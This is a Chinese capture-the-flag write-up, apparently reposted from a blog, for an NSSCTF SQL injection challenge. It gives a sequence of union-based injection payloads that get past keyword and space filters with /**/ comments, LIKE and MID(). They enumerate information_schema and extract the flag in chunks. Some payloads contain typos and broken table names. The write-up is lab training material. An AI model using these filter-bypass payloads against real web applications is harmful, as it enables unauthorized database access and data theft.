NSSCTF sql

2024-01-03 06:30:38

开启环境:

??wllm=1

回显正常,试试?wllm=1'

出现报错;加上%23正常

?wllm=-1'or 1=1%23出现过滤

?测试,空格用**替代,?等号用like替代

测试长度

?wlmm=1'order/**/by/**/3%23正常

?wlmm=1'order/**/by/**/4%23报错

长度为3,测试回显位置:

?wlmm=-1'union/**/select/**/1,2,3%23

正常,查database:

?wllm=-1'union/**/select/**/1,2,database()%23

正常,查table:

?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/informa tion_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23

正常,查column:

?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/inform ation_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23

?继续,查询内容:

?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_ flag%23

?位数长度不足 使用截断函数进行绕过,substr,right,REVERSE 被过滤(测试出来的),只能用mid截取,因为回显只能有20个,所以20,一组截取

?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/tes t_db.LTLT_flag%23

?继续读到三组:

?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),30,20)/**/from/**/test_db.LTLT_flag%23

NSSCTF{d8a5d396-1f8c-4dc5-ad4b-c96242394736}

OK!!

附:mid函数

mid(column_name,start[,length]) //此函数为截取字符串一部分
//column_name 必需。要提取字符的字段。
//start 必需。规定开始位置(起始值是 1)。
//length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
/*
 例:mid(database(),1,1)='a'

通过=右侧字母的改变和表达式的真假判断库名
*/

文章来源:https://blog.csdn.net/weixin_74336671/article/details/135302361
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。